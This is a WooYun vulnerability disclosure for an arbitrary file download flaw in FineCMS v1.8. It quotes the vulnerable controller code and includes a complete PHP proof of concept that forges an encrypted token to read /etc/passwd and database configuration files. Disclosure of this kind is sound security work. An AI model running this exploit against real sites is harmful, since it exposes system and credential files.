当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062787

漏洞标题:FineCMS v1.8任意文件下载

相关厂商:dayrui.com

漏洞作者: 紫衣大侠

提交时间:2014-05-29 19:30

修复时间:2014-06-03 19:30

公开时间:2014-06-03 19:30

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-29: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

代码审计是个技术活,需要很好的耐心.. o(︶︿︶)o

详细说明:

出现问题的版本是FineCMS V1.8.0 最新版。

1.顺藤摸瓜
漏洞文件:controllers/ApiController.php downAction方法

public function downAction() {
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
$file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
if (empty($file)) $this->msg(lang('a-mod-213'));
if (strpos($file, ':/')) { //远程文件
header("Location: $file");
} else { //本地图片
if (!is_file($file)) $this->msg(lang('a-mod-214') . '(#' . $file . ')');; // $file = '../../../etc/passwd'
header('Pragma: public');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-length: ' . sprintf("%u", filesize($file)));
readfile($file);
exit;
}
}



这段控制器函数主要是将前端提交过来的file文件路径进行解密并下载,如果文件是本地路径,则直接readfile下载下来。但是系统此时没有判断该文件的合法性,假设用户提交过来的文件解密后是:

$file = ../../../etc/passwd  //passwd文件所在路径

,则会导致存在任意文件下载的风险。

实现方法:
注册一个会员,然后登陆进去。在“内容管理”--> "下载"中发布文档,

tu1.jpg



下载地址前面填写passwd文件相对路径,后面随便填写。然后提交,等待管理审核通过。

审核通过后,直接点击下载链接,

tu2.jpg



可以看见系统passwd文件成功被下载下来了。

tu3.jpg



tu4.jpg



2.另辟蹊径
上面的任意下载文件有点曲折,非要注册后等待审核才能下载。其实通过测试发现,文件下载的的路径与数据库存储和用户cookie没有任何关系,因此我们完全可以构造任意文件的加密链接,就可以直接下载了。
文件下载地址:
http://xxx.xxx.xxx.xxx/index.php?c=api&a=down&file=MWZlYi83YkxvZlJoUkdCS0xIVk9ZQ0pIZ1p3Zm5TZFR3dEJsK2pucm9wUjdqYXg0OTlXVjhYa1hrb2ZzYmdKa1Z2bmRwTnJ0NVZGdEQrTlBieXNaWWhJeXFUZ2dsRnprY0hCeGx3

file变量进行了加密,跟进加密函数
extensions/function.php

function downfile($url) {
return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
}


这里将../../../etc/passwd 作为URL参数进行fn_authcode加密生成

MWZlYi83YkxvZlJoUkdCS0xIVk9ZQ0pIZ1p3Zm5TZFR3dEJsK2pucm9wUjdqYXg0OTlXVjhYa1hrb2ZzYmdKa1Z2bmRwTnJ0NVZGdEQrTlBieXNaWWhJeXFUZ2dsRnprY0hCeGx3



但是fn_authcode里SITE_MEMBER_COOKIE变量是为空字符串的,MD5固定为: d41d8cd98f00b204e9800998ecf8427e
,并没有将用户的cookie信息作为加密因子,因此可以动态利用fn_authcode函数为我们想要的路径进行加密。

完成的POC:

<?php
ini_set('display_errors','1');
error_reporting(E_ALL);
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
function array2string($data, $isformdata = 1) {
if($data == '') return '';
if($isformdata) $data = new_stripslashes($data);
return serialize($data);
}
/**
* 将字符串转换为数组
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
if ($data == '') return array();
if (is_array($data)) return $data;
if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {
@eval("\$array = $data;");
return $array;
}
return unserialize($data);
}
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$string = $operation == 'DECODE' ? $data : array2string($data);
$key = md5($key ? $key : '');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return string2array(substr($result, 26));
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
$result = str_replace('=', '', base64_encode(fn_authcode(array('finecms' => '../../../../etc/passwd'), 'ENCODE')));
echo "加密:".$result."<br/><hr>";
$data = fn_authcode(base64_decode($result), 'DECODE');
echo "解密:".print_r($data)."<br/><hr/>";
?>
<a href="http://10.121.50.249/index.php?c=api&a=down&file=<?php echo $result?>">下载地址</a>


我们将该POC部署到另外一台服务器上运行POC,可以直接成功下载到finecms服务器上的passwd文件。

tu5.jpg



但是poc在finecms演示站没有成功,实例测试其他一个站点:
数据库配置文件

.jpg


6.jpg


漏洞证明:

tu3.jpg



tu4.jpg


tu5.jpg


修复方案:

我也不知道,你告诉我~~~

版权声明:转载请注明来源 紫衣大侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-03 19:30

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-29 20:53 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    看我发的,我都想抽死这种逗比厂商

  2. 2014-06-03 22:13 | 紫衣大侠 ( 普通白帽子 | Rank:201 漏洞数:21 | 愿结天下有识之士)

    @Mosuan 哥们,理解你~~

  3. 2014-06-03 23:10 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @紫衣大侠 一说到这麒麟臂又要发作了

  4. 2014-06-05 10:58 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @紫衣大侠 不算通杀型……